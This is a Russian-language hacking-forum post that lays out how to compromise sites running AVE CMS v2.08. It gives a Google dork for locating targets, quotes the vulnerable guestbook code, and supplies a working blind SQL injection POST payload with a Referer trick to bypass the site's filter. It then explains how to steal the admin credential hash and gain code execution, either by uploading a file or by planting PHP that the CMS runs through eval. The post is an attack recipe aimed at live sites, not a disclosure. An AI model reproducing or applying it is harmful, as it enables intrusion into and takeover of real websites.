Prev Предыдущее сообщение   Следующее сообщение Next
Старый 23.08.2011, 12:07   #1
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию AVE cms

AVE cms
url: http://www.overdoze.ru/
dork: inurl:module=guestbook (далее проверяется по наличию админки по /admin/admin.php)
version: v2.08 + addons

Особенности движка
Фильтрацией запросов к базе занимается пользователь API => возможны уязвимости в модулях.
Метод класса DB в /class/class.database.php:96:
PHP код:
function Query($query) {
    
$mtime explode(" ",microtime());
    
$tstart $mtime[1] + $mtime[0];

    
$res = @mysql_query($query$this->_handle);
    if(!
$res) {
      
$this->Error('query'$query);
    }
    
$DB_Result = new DB_Result($res);
..... 
В специальной таблице PREFIX_module в поле CpPHPTag хранится код php, который выполняется через eval.
Код:
CREATE TABLE PREFIX_module (
  Id mediumint(5) unsigned NOT NULL auto_increment,
  ModulName varchar(255) NOT NULL default '',
  `Status` enum('1','0') NOT NULL default '1',
  CpEngineTag varchar(255) NOT NULL default '0',
  CpPHPTag varchar(255) NOT NULL default '0',
  ModulFunktion varchar(255) NOT NULL default '',
  IstFunktion enum('1','0') NOT NULL default '1',
  ModulPfad varchar(255) NOT NULL default '',
  Version varchar(20) NOT NULL default '1.0',
  Template mediumint(3) unsigned NOT NULL default '1',
  PRIMARY KEY  (Id),
  UNIQUE KEY ModulName (ModulName)
);
В админке существует возможность дампа/загрузки базы, что позволяет выполнять произвольные SQL запросы.

Также в движке присуствует легкий вариант WAF, который обходится через POST и выставлением правильного Referer.

Уязвимый модуль guestbook
Разработчик модуля использует API с ошибочным вариантом фильтрации /modules/guestbook/modul.php:72:
PHP код:
.....
  
$limit = ($_REQUEST['pp']!='') ? $_REQUEST['pp'] : '15';
  
$sort = ($_REQUEST['sort']!='') ? mysql_escape_string($_REQUEST['sort']) : 'desc';
.....
      
// Получаем список всех сообщений и передаем их в шаблон для вывода
      
$sql $GLOBALS['db']->Query("SELECT * FROM " PREFIX "_modul_guestbook WHERE is_active = 1 order by id $sort limit $a,$limit");
..... 
Эксплуатация
Эксплуатируем через POST с правильным Referer. Из-за наличия order by эксплуатируем как blind sql injection.
Код:
url: http://site/index.php?module=guestbook
post: sort=asc,if([TRUE/FALSE sql],1=(select 1 union select 2),2)&pp=5
referer: http://site/index.php
После получения логина и md5(md5(pass))-хеша админа (поля Email и Kennwort таблицы PREFIX_users) заливаемся через стандартный файловый браузер админки. Если у хостера включена защита от исполнения php файлов из директории /uploads, то через восстановление базы добавляем новую запись в PREFIX_module с кодом php в CpPHPTag и именем тега в CpEngineTag, затем в админке создаем новый запрос с нашим тегом и добавляем запрос в какой-либо документ.
ont вне форума   Ответить с цитированием
 

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot